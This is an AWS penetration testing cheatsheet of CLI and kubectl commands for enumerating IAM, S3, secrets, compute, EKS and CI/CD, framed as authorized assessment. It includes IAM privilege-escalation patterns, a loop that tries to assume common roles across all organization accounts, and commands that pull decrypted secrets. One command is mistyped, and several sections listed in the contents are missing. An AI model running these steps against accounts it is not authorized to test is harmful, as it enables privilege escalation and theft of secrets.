AWS Pentesting Cheatsheet
This cheatsheet was written after a long winded engagement in which I took all my personal notes, some notes from the internet and fed them into AI to make sense of all the things I had compiled over a month and a half
It could be the most comprehensive cheatsheet on the internet for AWS pentesting or it might not be! Use your own judgement and determine what fits and what doesnt : )
Table of Contents
- 0. Assessment Principles
- 1. Initial Setup
- 2. Identity and Credential Validation
- 3. Account and Organization Enumeration
- 4. IAM Enumeration
- 5. IAM Privilege Escalation Checks
- 6. Cross-Account Access Testing
- 7. S3 Assessment
- 8. Secrets, SSM, and KMS
- 9. EC2, EBS, AMIs, and Networking
- 10. RDS, Redshift, DynamoDB, and Data Services
- 11. Lambda Assessment
- 12. ECS, ECR, and Container Services
- 13. EKS and Kubernetes Assessment
- 14. CI/CD and Developer Services
- 15. CloudFormation, Terraform, and IaC
- 16. API Gateway, CloudFront, Route53, and Edge Services
- 17. Cognito Assessment
- 18. Logging, Detection, and Security Services
- 19. Common AWS Lateral Movement Paths
- 20. Safe Validation Patterns
- 21. Evidence Collection
- 22. Cleanup
- 23. Common Findings and Report Language
- 24. Useful Tools
1. Initial Setup
Set common variables
export REGION="ap-southeast-2"
export PROFILE="default"
export ACCOUNT_ID="$(aws sts get-caller-identity --query Account --output text)"
Check installed tools
aws --version
jq --version
kubectl version --client
python3 --version
Useful AWS CLI options
--profile <PROFILE>
--region <REGION>
--output json
--output table
--query '<JMESPATH_QUERY>'
Example:
aws --profile "$PROFILE" --region "$REGION" sts get-caller-identity
Check configured AWS profiles
aws configure list-profiles
aws configure list
Check environment credentials
env | grep AWS
Look for:
AWS_PROFILE
AWS_ACCESS_KEY_ID
AWS_SECRET_ACCESS_KEY
AWS_SESSION_TOKEN
AWS_REGION
AWS_DEFAULT_REGION
2. Identity and Credential Validation
Confirm current identity
aws sts get-caller-identity
Example output:
{
"UserId": "AIDA...",
"Account": "111122223333",
"Arn": "arn:aws:iam::111122223333:user/example-user"
}
Interpret identity types
| ARN Pattern | Meaning |
|---|---|
arn:aws:iam::<acct>:user/<user> |
IAM user |
arn:aws:iam::<acct>:role/<role> |
IAM role |
arn:aws:sts::<acct>:assumed-role/<role>/<session> |
Assumed role session |
arn:aws:iam::<acct>:root |
Account root principal |
arn:aws:iam::<acct>:role/aws-reserved/sso.amazonaws.com/... |
IAM Identity Center / AWS SSO role |
Get caller account alias
aws iam list-account-aliases
Check account summary
aws iam get-account-summary
Look for:
Users
Groups
Roles
Policies
MFADevices
AccountMFAEnabled
AccessKeysPerUserQuota
Check caller permissions quickly
There is no universal “show my permissions” API, but you can often check out attached policies if your principal is an IAM user.
For IAM user:
USER_NAME=$(aws sts get-caller-identity --query Arn --output text | awk -F'/' '{print $NF}')
aws iam list-attached-user-policies --user-name "$USER_NAME"
aws iam list-user-policies --user-name "$USER_NAME"
aws iam list-groups-for-user --user-name "$USER_NAME"
For assumed role, identify role name:
CALLER_ARN=$(aws sts get-caller-identity --query Arn --output text)
echo "$CALLER_ARN"
If assumed role:
arn:aws:sts::<acct>:assumed-role/<role-name>/<session-name>
Then:
ROLE_NAME=$(echo "$CALLER_ARN" | awk -F'/' '{print $(NF-1)}')
aws iam get-role --role-name "$ROLE_NAME"
aws iam list-attached-role-policies --role-name "$ROLE_NAME"
aws iam list-role-policies --role-name "$ROLE_NAME"
3. Account and Organization Enumeration
List AWS Organization accounts
aws organizations list-accounts \
--query 'Accounts[?Status==`ACTIVE`].[Id,Name,Email]' \
--output table
TSV format:
aws organizations list-accounts --output json | jq -r '
.Accounts[] |
select(.Status == "ACTIVE") |
[.Id, .Name, .Email] | @tsv
'
Look for accounts such as:
Development
Test
Staging
Production
Security
Audit
Shared Services
Networking
Operations
Logging
Reporting
List organizational units
aws organizations list-roots
ROOT_ID=$(aws organizations list-roots --query 'Roots[0].Id' --output text)
aws organizations list-organizational-units-for-parent \
--parent-id "$ROOT_ID"
List accounts under OU
aws organizations list-accounts-for-parent \
--parent-id <OU_ID>
List SCPs attached to root/account/OU
aws organizations list-policies-for-target \
--target-id <ACCOUNT_OR_OU_OR_ROOT_ID> \
--filter SERVICE_CONTROL_POLICY
Describe SCP
aws organizations describe-policy \
--policy-id <POLICY_ID>
Look for:
Deny sts:AssumeRole
Deny iam:*
Deny disabling security services
Deny leaving organization
Deny deleting CloudTrail
Allowed regions
4. IAM Enumeration
IAM is often the highest-impact area in AWS pentesting.
List users
aws iam list-users \
--query 'Users[].{UserName:UserName,Arn:Arn,Created:CreateDate,PasswordLastUsed:PasswordLastUsed}' \
--output table
List roles
aws iam list-roles \
--query 'Roles[].{RoleName:RoleName,Arn:Arn,Path:Path,Created:CreateDate}' \
--output table
List groups
aws iam list-groups \
--query 'Groups[].{GroupName:GroupName,Arn:Arn,Created:CreateDate}' \
--output table
List policies
aws iam list-policies \
--scope Local \
--query 'Policies[].{Name:PolicyName,Arn:Arn,DefaultVersion:DefaultVersionId,AttachmentCount:AttachmentCount}' \
--output table
Inspect a role
aws iam get-role --role-name <ROLE_NAME>
Look for:
AssumeRolePolicyDocument
PermissionsBoundary
Tags
RoleLastUsed
MaxSessionDuration
List role managed policies
aws iam list-attached-role-policies \
--role-name <ROLE_NAME>
List role inline policies
aws iam list-role-policies \
--role-name <ROLE_NAME>
Get inline role policy
aws iam get-role-policy \
--role-name <ROLE_NAME> \
--policy-name <POLICY_NAME>
Get managed policy document
POLICY_ARN="<POLICY_ARN>"
aws iam get-policy --policy-arn "$POLICY_ARN"
VERSION_ID=$(aws iam get-policy \
--policy-arn "$POLICY_ARN" \
--query 'Policy.DefaultVersionId' \
--output text)
aws iam get-policy-version \
--policy-arn "$POLICY_ARN" \
--version-id "$VERSION_ID"
Enumerate access keys
for user in $(aws iam list-users --query 'Users[].UserName' --output text); do
echo "===== $user ====="
aws iam list-access-keys --user-name "$user" --output table
done
Look for:
Old access keys
Inactive keys
Keys not rotated
Multiple active keys
Check MFA status
for user in $(aws iam list-users --query 'Users[].UserName' --output text); do
echo "===== $user ====="
aws iam list-mfa-devices --user-name "$user" --output table
done
Enumerate login profiles
for user in $(aws iam list-users --query 'Users[].UserName' --output text); do
echo "===== $user ====="
aws iam get-login-profile --user-name "$user" 2>/dev/null || echo "No console login"
done
5. IAM Privilege Escalation Checks
High-risk IAM permissions
Look for:
iam:CreateRole
iam:UpdateAssumeRolePolicy
iam:AttachRolePolicy
iam:PutRolePolicy
iam:CreatePolicy
iam:CreatePolicyVersion
iam:SetDefaultPolicyVersion
iam:PassRole
iam:CreateAccessKey
iam:UpdateLoginProfile
iam:CreateLoginProfile
iam:AddUserToGroup
iam:PutUserPolicy
iam:AttachUserPolicy
iam:PutGroupPolicy
iam:AttachGroupPolicy
iam:UpdateRole
iam:DeleteRolePermissionsBoundary
sts:AssumeRole
Common privilege escalation patterns
| Permission Pattern | Risk |
|---|---|
iam:CreateAccessKey on privileged user |
Create new API key for privileged user |
iam:CreateLoginProfile / UpdateLoginProfile |
Create/reset console password |
iam:AttachUserPolicy |
Attach AdministratorAccess to self/user |
iam:PutUserPolicy |
Add inline admin policy to self/user |
iam:AddUserToGroup |
Add self to admin group |
iam:AttachRolePolicy |
Attach admin policy to assumable/workload role |
iam:PutRolePolicy |
Add inline admin policy to role |
iam:UpdateAssumeRolePolicy |
Make role assumable by attacker principal |
iam:PassRole + ec2:RunInstances |
Launch EC2 with privileged role |
iam:PassRole + lambda:CreateFunction |
Create Lambda with privileged role |
iam:PassRole + ecs:RunTask |
Run ECS task with privileged role |
iam:PassRole + codebuild:CreateProject/StartBuild |
Execute commands with privileged build role |
cloudformation:CreateStack + iam:PassRole |
Create privileged resources through CloudFormation |
eks:CreateAccessEntry + eks:AssociateAccessPolicy |
Grant Kubernetes access |
Check whether you can simulate role assumption
aws iam simulate-principal-policy \
--policy-source-arn <SOURCE_PRINCIPAL_ARN> \
--action-names sts:AssumeRole \
--resource-arns <TARGET_ROLE_ARN> \
--output yaml
Remember:
Source identity must allow sts:AssumeRole
Target role trust policy must trust source principal
SCPs/permission boundaries/session policies can still block
Safe validation for role policy modification
aws iam put-role-policy \
--role-name <ROLE_NAME> \
--policy-name PT-Validation-ListOnly \
--policy-document '{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "cloudwatch:ListMetrics",
"Resource": "*"
}
]
}'
Cleanup:
aws iam delete-role-policy \
--role-name <ROLE_NAME> \
--policy-name PT-Validation-ListOnly
6. Cross-Account Access Testing
Test direct role assumption
aws sts assume-role \
--role-arn arn:aws:iam::<TARGET_ACCOUNT_ID>:role/<ROLE_NAME> \
--role-session-name pt-cross-account-test \
--duration-seconds 900 \
--query 'AssumedRoleUser.Arn' \
--output text
Success:
arn:aws:sts::<TARGET_ACCOUNT_ID>:assumed-role/<ROLE_NAME>/pt-cross-account-test
This proves cross-account access.
Important note
aws sts assume-role does not switch your shell automatically.
If this works:
aws sts assume-role ...
Then this may still show your original identity:
aws sts get-caller-identity
To use the role, configure a profile or export the returned credentials.
Create profile for assumed role
aws configure set profile.<PROFILE_NAME>.role_arn arn:aws:iam::<TARGET_ACCOUNT_ID>:role/<ROLE_NAME>
aws configure set profile.<PROFILE_NAME>.source_profile default
aws configure set profile.<PROFILE_NAME>.role_session_name pt-session
aws configure set profile.<PROFILE_NAME>.region "$REGION"
Test:
aws --profile <PROFILE_NAME> sts get-caller-identity
Test common cross-account role names
Common names:
OrganizationAccountAccessRole
AWSControlTowerExecution
tf-automation
terraform
TerraformExecutionRole
admin
Administrator
deployment
cicd
ci-cd
GitHubActionsRole
GitLabRunnerRole
CodeBuildRole
SecurityAudit
AuditRole
ReadOnly
Loop through accounts and role names:
ROLE_NAMES=(
"OrganizationAccountAccessRole"
"AWSControlTowerExecution"
"tf-automation"
"terraform"
"deployment"
"cicd"
"SecurityAudit"
"ReadOnly"
)
aws organizations list-accounts --output json | jq -r '
.Accounts[] |
select(.Status == "ACTIVE") |
[.Id, .Name] | @tsv
' | while IFS=$'\t' read -r acct name; do
acct="$(echo "$acct" | tr -dc '0-9')"
for role in "${ROLE_NAMES[@]}"; do
ROLE_ARN="arn:aws:iam::${acct}:role/${role}"
echo "Testing $ROLE_ARN"
aws sts assume-role \
--role-arn "$ROLE_ARN" \
--role-session-name "pt-${acct}-${role}" \
--duration-seconds 900 \
--query 'AssumedRoleUser.Arn' \
--output text 2>/tmp/assume_err
if [ $? -eq 0 ]; then
echo "[+] SUCCESS: $ROLE_ARN"
else
echo "[-] Failed"
fi
done
done
Reporting cross-account access
Strong finding if path crosses trust boundaries:
Development account principal -> Production account role
Example:
arn:aws:iam::<DEV_ACCOUNT>:user/<dev-user> -> arn:aws:iam::<PROD_ACCOUNT>:role/tf-automation
Impact depends on target role permissions.
7. S3 Assessment
List buckets
aws s3api list-buckets \
--query 'Buckets[].Name' \
--output table
Get bucket region
aws s3api get-bucket-location \
--bucket <BUCKET_NAME>
Check public access block
aws s3api get-public-access-block \
--bucket <BUCKET_NAME>
Look for risky values:
"BlockPublicAcls": false
"IgnorePublicAcls": false
"BlockPublicPolicy": false
"RestrictPublicBuckets": false
Check bucket policy
aws s3api get-bucket-policy \
--bucket <BUCKET_NAME> \
--query Policy \
--output text | jq .
Look for:
Principal: "*"
NotPrincipal
s3:GetObject
s3:PutObject
s3:ListBucket
Condition missing or too broad
Cross-account principals
Check ACL
aws s3api get-bucket-acl \
--bucket <BUCKET_NAME>
Look for grants to:
AllUsers
AuthenticatedUsers
Check encryption
aws s3api get-bucket-encryption \
--bucket <BUCKET_NAME>
Check versioning
aws s3api get-bucket-versioning \
--bucket <BUCKET_NAME>
Check logging
aws s3api get-bucket-logging \
--bucket <BUCKET_NAME>
Check object listing
aws s3api list-objects-v2 \
--bucket <BUCKET_NAME> \
--max-items 10
Safe object access validation
aws s3api get-object \
--bucket <BUCKET_NAME> \
--key <CLIENT_APPROVED_CANARY_KEY> \
/tmp/canary.txt
8. Secrets, SSM, and KMS
Secrets Manager metadata
aws secretsmanager list-secrets \
--region "$REGION" \
--query 'SecretList[].{Name:Name,ARN:ARN,LastChanged:LastChangedDate,KmsKeyId:KmsKeyId}' \
--output table
Retrieve secret value
aws secretsmanager get-secret-value \
--secret-id <SECRET_ID> \
--region "$REGION"
Note that sometimes you may get a None in KmsKeyId attribute, and so in that case you can simply add the ARN instead of the KmsKeyId in the --secret-id argument.
SSM Parameter Store metadata
aws ssm describe-parameters \
--region "$REGION" \
--query 'Parameters[].{Name:Name,Type:Type,KeyId:KeyId,LastModified:LastModifiedDate}' \
--output table
Retrieve SSM parameter
aws ssm get-parameter --name <PARAMETER_NAME> --with-decryption --region "$REGION"
KMS keys
Sometimes there may be aliased and gated and so you will need to ensure you know the relevant alises to further use them in the commands to come
aws kms list-aliases --region "$REGION"
aws kms list-keys --region "$REGION"
After running the above, we might get/find the tags which may show you env names, the names of control/system owners and other info
aws kms list-resource-tags --key-id <RESOURCE_TAG_ID> --region "$REGION"
We might want to list the key access policy
aws kms get-key-policy --key-id <RESOURCE_TAG_ID> --police-name default --region "$REGION"
Finally we can also see the grants on a key to see which roles, services and applications are using the keys identified
aws kms list-grants --key-id <RESOURCE_TAG_ID> --region "$REGION"
aws kms describe-key --key-id <KEY_ID> --region "$REGION"
KMS key policy
aws kms get-key-policy \
--key-id <KEY_ID> \
--policy-name default \
--region "$REGION" \
--output text | jq .
Look for:
Broad principals
Cross-account principals
kms:Decrypt
kms:CreateGrant
kms:PutKeyPolicy
kms:ScheduleKeyDeletion
9. EC2, EBS, AMIs, and Networking
List instances
aws ec2 describe-instances \
--region "$REGION" \
--query 'Reservations[].Instances[].{Id:InstanceId,State:State.Name,Type:InstanceType,PrivateIP:PrivateIpAddress,PublicIP:PublicIpAddress,Profile:IamInstanceProfile.Arn,SGs:SecurityGroups[].GroupId,Tags:Tags}' \
--output table
Look for:
Public IPs
Privileged instance profiles
Bastion/jump boxes
Production tags
Outdated AMIs
List instance profiles
aws iam list-instance-profiles
Describe security groups
aws ec2 describe-security-groups \
--region "$REGION" \
--query 'SecurityGroups[].{GroupId:GroupId,Name:GroupName,Vpc:VpcId,Ingress:IpPermissions}' \
--output json
Look for:
0.0.0.0/0 on 22
0.0.0.0/0 on 3389
0.0.0.0/0 on database ports
0.0.0.0/0 on admin panels
Wide internal trust
Common sensitive ports:
22 SSH
3389 RDP
3306 MySQL
5432 PostgreSQL
1433 MSSQL
6379 Redis
9200 Elasticsearch
5601 Kibana
27017 MongoDB
8080/8443 Admin apps
List VPCs
aws ec2 describe-vpcs \
--region "$REGION" \
--output table
List subnets
aws ec2 describe-subnets \
--region "$REGION" \
--query 'Subnets[].{SubnetId:SubnetId,VpcId:VpcId,Cidr:CidrBlock,AZ:AvailabilityZone,Public:MapPublicIpOnLaunch,Tags:Tags}' \
--output table
List route tables
aws ec2 describe-route-tables \
--region "$REGION" \
--output table
Look for:
0.0.0.0/0 -> Internet Gateway
0.0.0.0/0 -> NAT Gateway
Peering routes
Transit Gateway routes
VPN/Direct Connect routes
List network ACLs
aws ec2 describe-network-acls \
--region "$REGION"
EBS volumes
aws ec2 describe-volumes \
--region "$REGION" \
--query 'Volumes[].{VolumeId:VolumeId,Encrypted:Encrypted,KmsKeyId:KmsKeyId,State:State,Size:Size,Attachments:Attachments}' \
--output table
Look for:
Unencrypted volumes
Detached volumes
Volumes attached to sensitive instances
EBS snapshots
aws ec2 describe-snapshots \
--owner-ids self \
--region "$REGION" \
--query 'Snapshots[].{SnapshotId:SnapshotId,Encrypted:Encrypted,VolumeSize:VolumeSize,StartTime:StartTime,Description:Description}' \
--output table
Check snapshot sharing:
aws ec2 describe-snapshot-attribute \
--snapshot-id <SNAPSHOT_ID> \
--attribute createVolumePermission \
--region "$REGION"
Look for:
Group: all
Unexpected account IDs
AMIs
aws ec2 describe-images \
--owners self \
--region "$REGION" \
--query 'Images[].{ImageId:ImageId,Name:Name,CreationDate:CreationDate,Public:Public,BlockDevices:BlockDeviceMappings}' \
--output table
Check AMI launch permissions:
aws ec2 describe-image-attribute \
--image-id <AMI_ID> \
--attribute launchPermission \
--region "$REGION"
Look for public or unexpected shared AMIs.
10. RDS, Redshift, DynamoDB, and Data Services
RDS instances
aws rds describe-db-instances \
--region "$REGION" \
--query 'DBInstances[].{DB:DBInstanceIdentifier,Engine:Engine,Endpoint:Endpoint.Address,Port:Endpoint.Port,Public:PubliclyAccessible,StorageEncrypted:StorageEncrypted,KmsKeyId:KmsKeyId,MultiAZ:MultiAZ}' \
--output table
Look for:
PubliclyAccessible: true
Unencrypted storage
Weak security groups
Production DB endpoints
Old engine versions
RDS snapshots
aws rds describe-db-snapshots \
--region "$REGION" \
--query 'DBSnapshots[].{Snapshot:DBSnapshotIdentifier,DB:DBInstanceIdentifier,Encrypted:Encrypted,SnapshotType:SnapshotType,Status:Status}' \
--output table
Check snapshot attributes:
aws rds describe-db-snapshot-attributes \
--db-snapshot-identifier <SNAPSHOT_ID> \
--region "$REGION"
Look for public/shared snapshots.
Aurora clusters
aws rds describe-db-clusters \
--region "$REGION" \
--query 'DBClusters[].{Cluster:DBClusterIdentifier,Engine:Engine,Endpoint:Endpoint,ReaderEndpoint:ReaderEndpoint,Encrypted:StorageEncrypted}' \
--output table
Redshift
aws redshift describe-clusters \
--region "$REGION" \
--query 'Clusters[].{Cluster:ClusterIdentifier,DB:DBName,Endpoint:Endpoint.Address,Port:Endpoint.Port,Public:PubliclyAccessible,Encrypted:Encrypted}' \
--output table
DynamoDB
aws dynamodb list-tables --region "$REGION"
aws dynamodb describe-table \
--table-name <TABLE_NAME> \
--region "$REGION"
Look for:
PII table names
Backups
Streams enabled
Encryption settings
11. Lambda Assessment
List functions
aws lambda list-functions \
--region "$REGION" \
--query 'Functions[].{Name:FunctionName,Runtime:Runtime,Role:Role,LastModified:LastModified,Timeout:Timeout}' \
--output table
Look for:
Privileged execution roles
Old runtimes
Functions with VPC access
Deployment or admin functions
Get function configuration
aws lambda get-function-configuration \
--function-name <FUNCTION_NAME> \
--region "$REGION"
Look for:
Role
Environment variables
KMSKeyArn
VpcConfig
DeadLetterConfig
TracingConfig
Get function policy
aws lambda get-policy \
--function-name <FUNCTION_NAME> \
--region "$REGION"
Look for:
Public invoke permissions
Cross-account invoke permissions
API Gateway/EventBridge/S3 triggers
List event source mappings
aws lambda list-event-source-mappings \
--function-name <FUNCTION_NAME> \
--region "$REGION"
Dangerous Lambda permissions
lambda:UpdateFunctionCode
lambda:UpdateFunctionConfiguration
lambda:CreateFunction
lambda:InvokeFunction
iam:PassRole
Potential impact:
Code execution under Lambda execution role
Credential access via environment
Lateral movement into VPC
12. ECS, ECR, and Container Services
ECS clusters
aws ecs list-clusters --region "$REGION"
ECS services
aws ecs list-services \
--cluster <CLUSTER_ARN_OR_NAME> \
--region "$REGION"
Describe services
aws ecs describe-services \
--cluster <CLUSTER> \
--services <SERVICE_NAME> \
--region "$REGION"
Look for task definitions.
Describe task definition
aws ecs describe-task-definition \
--task-definition <TASK_DEFINITION> \
--region "$REGION"
Look for:
taskRoleArn
executionRoleArn
secrets
environment
privileged containers
mount points
network mode
List running tasks
aws ecs list-tasks \
--cluster <CLUSTER> \
--region "$REGION"
Describe tasks
aws ecs describe-tasks \
--cluster <CLUSTER> \
--tasks <TASK_ARN> \
--region "$REGION"
ECR repositories
aws ecr describe-repositories \
--region "$REGION" \
--query 'repositories[].{Name:repositoryName,Uri:repositoryUri,ScanOnPush:imageScanningConfiguration.scanOnPush,Encryption:encryptionConfiguration.encryptionType}' \
--output table
List images
aws ecr list-images \
--repository-name <REPO_NAME> \
--region "$REGION"
ECR repository policy
aws ecr get-repository-policy \
--repository-name <REPO_NAME> \
--region "$REGION" \
--output text | jq .
Look for:
Public/cross-account pull
Cross-account push
Broad principals
13. EKS and Kubernetes Assessment
List EKS clusters
aws eks list-clusters \
--region "$REGION" \
--output table
Describe cluster
aws eks describe-cluster \
--region "$REGION" \
--name <CLUSTER_NAME> \
--query 'cluster.{
name:name,
arn:arn,
status:status,
version:version,
endpoint:endpoint,
publicEndpoint:resourcesVpcConfig.endpointPublicAccess,
privateEndpoint:resourcesVpcConfig.endpointPrivateAccess,
publicCidrs:resourcesVpcConfig.publicAccessCidrs,
authenticationMode:accessConfig.authenticationMode,
bootstrapClusterCreatorAdminPermissions:accessConfig.bootstrapClusterCreatorAdminPermissions,
roleArn:roleArn,
oidcIssuer:identity.oidc.issuer
}' \
--output yaml
Look for:
Public endpoint open to 0.0.0.0/0
API_AND_CONFIG_MAP migration state
Legacy aws-auth access
Cluster creator admin
OIDC provider for IRSA
Add context
aws eks update-kubeconfig \
--region "$REGION" \
--name <CLUSTER_NAME> \
--alias <CONTEXT_NAME>
With role:
aws eks update-kubeconfig \
--region "$REGION" \
--name <CLUSTER_NAME> \
--alias <CONTEXT_NAME> \
--user-alias <USER_ALIAS> \
--role-arn arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>
Check auth
kubectl --context <CONTEXT_NAME> auth whoami
Check permissions
kubectl --context <CONTEXT_NAME> auth can-i list namespaces
kubectl --context <CONTEXT_NAME> auth can-i list pods --all-namespaces
kubectl --context <CONTEXT_NAME> auth can-i get secrets --all-namespaces
kubectl --context <CONTEXT_NAME> auth can-i create pods --all-namespaces
kubectl --context <CONTEXT_NAME> auth can-i create pods/exec --all-namespaces
kubectl --context <CONTEXT_NAME> auth can-i '*' '*' --all-namespaces
Safe enumeration
kubectl --context <CONTEXT_NAME> get ns
kubectl --context <CONTEXT_NAME> get nodes
kubectl --context <CONTEXT_NAME> get pods -A
kubectl --context <CONTEXT_NAME> get serviceaccounts -A
kubectl --context <CONTEXT_NAME> get deployments -A
EKS access entries
aws eks list-access-entries \
--region "$REGION" \
--cluster-name <CLUSTER_NAME> \
--output table
aws eks describe-access-entry \
--region "$REGION" \
--cluster-name <CLUSTER_NAME> \
--principal-arn <PRINCIPAL_ARN> \
--output yaml
aws eks list-associated-access-policies \
--region "$REGION" \
--cluster-name <CLUSTER_NAME> \
--principal-arn <PRINCIPAL_ARN> \
--output yaml
Look for:
AmazonEKSClusterAdminPolicy
AmazonEKSAdminPolicy
AmazonEKSEditPolicy
AmazonEKSViewPolicy
Legacy aws-auth ConfigMap
kubectl --context <CONTEXT_NAME> -n kube-system get configmap aws-auth -o yaml
Look for:
system:masters
Mapped admin roles
Mapped node roles
Broad IAM role mappings
IRSA roles from Kubernetes
kubectl --context <CONTEXT_NAME> get serviceaccounts -A -o json | jq -r '
.items[] |
select(.metadata.annotations["eks.amazonaws.com/role-arn"] != null) |
[
.metadata.namespace,
.metadata.name,
.metadata.annotations["eks.amazonaws.com/role-arn"]
] | @tsv
'
IRSA roles from IAM
aws iam list-roles --output json | jq -r '
.Roles[] as $role |
$role.AssumeRolePolicyDocument.Statement[]? |
select((.Action | tostring) | contains("AssumeRoleWithWebIdentity")) |
[
$role.RoleName,
(
(.Condition.StringLike // .Condition.StringEquals // {}) |
to_entries[]? |
select(.key | endswith(":sub")) |
.value |
if type == "array" then .[] else . end
)
] | @tsv
'
Look for wildcard service account trust:
system:serviceaccount:namespace:serviceaccount-*
system:serviceaccount:*:*
14. CI/CD and Developer Services
CodeBuild projects
aws codebuild list-projects --region "$REGION"
aws codebuild batch-get-projects \
--names <PROJECT_NAME> \
--region "$REGION"
Look for:
serviceRole
privilegedMode
environment variables
secrets
source repository
buildspec
VPC config
Risky permissions:
codebuild:StartBuild
codebuild:UpdateProject
iam:PassRole
Impact:
Command execution as CodeBuild service role
Access to build secrets
Deployment pipeline tampering
CodePipeline
aws codepipeline list-pipelines --region "$REGION"
aws codepipeline get-pipeline \
--name <PIPELINE_NAME> \
--region "$REGION"
Look for:
Artifact stores
Deployment stages
Approval stages
Cross-account actions
Service roles
CodeCommit
aws codecommit list-repositories --region "$REGION"
aws codecommit get-repository \
--repository-name <REPO_NAME> \
--region "$REGION"
Avoid cloning private repositories unless explicitly authorized.
CodeDeploy
aws deploy list-applications --region "$REGION"
aws deploy list-deployment-groups \
--application-name <APP_NAME> \
--region "$REGION"
GitHub/GitLab OIDC roles
Search IAM roles for OIDC trust:
aws iam list-roles --output json | jq -r '
.Roles[] |
select(.AssumeRolePolicyDocument.Statement[]? .Principal.Federated? != null) |
.RoleName
'
Inspect trust policies for:
token.actions.githubusercontent.com
gitlab.com
Bitbucket OIDC
Wildcard repositories
Wildcard branches
Risky examples:
repo:*/*
ref:refs/heads/*
15. CloudFormation, Terraform, and IaC
CloudFormation stacks
aws cloudformation list-stacks \
--region "$REGION" \
--stack-status-filter CREATE_COMPLETE UPDATE_COMPLETE UPDATE_ROLLBACK_COMPLETE \
--output table
Describe stack
aws cloudformation describe-stacks \
--stack-name <STACK_NAME> \
--region "$REGION"
Look for:
Outputs
Parameters
IAM roles
Secret-looking parameter values
Deployment buckets
Stack resources
aws cloudformation list-stack-resources \
--stack-name <STACK_NAME> \
--region "$REGION"
Terraform state locations
Look for buckets with names like:
terraform-state
tfstate
infra-state
backend-state
Search S3 bucket names:
aws s3api list-buckets \
--query 'Buckets[].Name' \
--output text | tr '\t' '\n' | grep -Ei 'tf|terraform|state|infra'
If authorized, list metadata:
aws s3api list-objects-v2 \
--bucket <TF_STATE_BUCKET> \
--max-items 20
note that Terraform state may contain sensitive values
Terraform automation roles
Common high-value roles:
tf-automation
terraform
TerraformExecutionRole
infra-admin
deployment
Inspect trust and permissions:
aws iam get-role --role-name tf-automation
aws iam list-attached-role-policies --role-name tf-automation
aws iam list-role-policies --role-name tf-automation
16. API Gateway, CloudFront, Route53, and Edge Services
API Gateway REST APIs
aws apigateway get-rest-apis \
--region "$REGION" \
--query 'items[].{id:id,name:name,createdDate:createdDate,endpointConfiguration:endpointConfiguration.types}' \
--output table
API Gateway HTTP APIs / WebSocket APIs
aws apigatewayv2 get-apis \
--region "$REGION" \
--output table
Look for:
Unauthenticated routes
IAM auth disabled
JWT authorizers
Lambda authorizers
Public APIs
Prod stages
Stages
aws apigateway get-stages \
--rest-api-id <API_ID> \
--region "$REGION"
CloudFront distributions
aws cloudfront list-distributions \
--query 'DistributionList.Items[].{Id:Id,Domain:DomainName,Enabled:Enabled,Origins:Origins.Items[].DomainName,Aliases:Aliases.Items}' \
--output table
Look for:
S3 origins
Custom origins
Missing WAF
HTTP allowed
Weak TLS
Origin exposed directly
Route53 hosted zones
aws route53 list-hosted-zones
Route53 records
aws route53 list-resource-record-sets \
--hosted-zone-id <ZONE_ID> \
--output table
Look for:
Admin panels
Internal-looking names exposed publicly
Old/stale records
Prod/test endpoints
S3 website endpoints
CloudFront aliases
WAF
aws wafv2 list-web-acls \
--scope REGIONAL \
--region "$REGION"
aws wafv2 list-web-acls \
--scope CLOUDFRONT \
--region us-east-1
17. Cognito Assessment
List user pools
aws cognito-idp list-user-pools \
--max-results 60 \
--region "$REGION"
Describe user pool
aws cognito-idp describe-user-pool \
--user-pool-id <USER_POOL_ID> \
--region "$REGION"
Look for:
MFA settings
Password policy
AdminCreateUserConfig
Schema attributes
Account recovery
Lambda triggers
List app clients
aws cognito-idp list-user-pool-clients \
--user-pool-id <USER_POOL_ID> \
--region "$REGION"
Describe app client
aws cognito-idp describe-user-pool-client \
--user-pool-id <USER_POOL_ID> \
--client-id <CLIENT_ID> \
--region "$REGION"
Look for:
GenerateSecret
AllowedOAuthFlows
AllowedOAuthScopes
CallbackURLs
LogoutURLs
ExplicitAuthFlows
TokenValidityUnits
Identity pools
aws cognito-identity list-identity-pools \
--max-results 60 \
--region "$REGION"
aws cognito-identity describe-identity-pool \
--identity-pool-id <IDENTITY_POOL_ID> \
--region "$REGION"
Look for:
AllowUnauthenticatedIdentities: true
Authenticated role
Unauthenticated role
18. Logging, Detection, and Security Services
This section is for assessing visibility and control coverage, and is not appropraite/applicable for any real evasion work.
CloudTrail trails
aws cloudtrail describe-trails --region "$REGION"
aws cloudtrail get-trail-status \
--name <TRAIL_NAME> \
--region "$REGION"
Look for:
IsLogging: true
Multi-region trail
Log file validation
S3 bucket destination
CloudWatch Logs integration
Event selectors
aws cloudtrail get-event-selectors \
--trail-name <TRAIL_NAME> \
--region "$REGION"
Look for:
Management events
Data events for S3/Lambda
Read/write coverage
GuardDuty
aws guardduty list-detectors --region "$REGION"
aws guardduty get-detector \
--detector-id <DETECTOR_ID> \
--region "$REGION"
Security Hub
aws securityhub describe-hub --region "$REGION"
aws securityhub get-enabled-standards --region "$REGION"
AWS Config
aws configservice describe-configuration-recorders --region "$REGION"
aws configservice describe-delivery-channels --region "$REGION"
aws configservice describe-config-rules --region "$REGION"
IAM Access Analyzer
aws accessanalyzer list-analyzers --region "$REGION"
aws accessanalyzer list-findings \
--analyzer-arn <ANALYZER_ARN> \
--region "$REGION"
Look for findings related to:
Public S3
Cross-account IAM roles
External access
KMS key exposure
Lambda public access
SQS/SNS public access
19. Common AWS Lateral Movement Paths
IAM user to production role
Dev IAM user
-> sts:AssumeRole
Prod automation/admin role
Test:
aws sts assume-role \
--role-arn arn:aws:iam::<PROD_ACCOUNT>:role/<ROLE_NAME> \
--role-session-name pt-prod-test \
--duration-seconds 900 \
--query 'AssumedRoleUser.Arn' \
--output text
IAM role to EKS cluster-admin
Assumable IAM role
-> EKS Access Entry
-> AmazonEKSClusterAdminPolicy
Check:
aws eks list-associated-access-policies \
--region "$REGION" \
--cluster-name <CLUSTER_NAME> \
--principal-arn <ROLE_ARN> \
--output yaml
IAM role to Kubernetes IRSA role
Kubernetes access
-> create pod/serviceaccount/token
-> AssumeRoleWithWebIdentity
-> AWS IAM role
Check:
kubectl auth can-i create pods -n <NAMESPACE>
kubectl auth can-i create serviceaccounts/token -n <NAMESPACE>
IAM PassRole to compute
iam:PassRole
+ ec2:RunInstances / lambda:CreateFunction / ecs:RunTask / codebuild:StartBuild
-> Code execution under privileged role
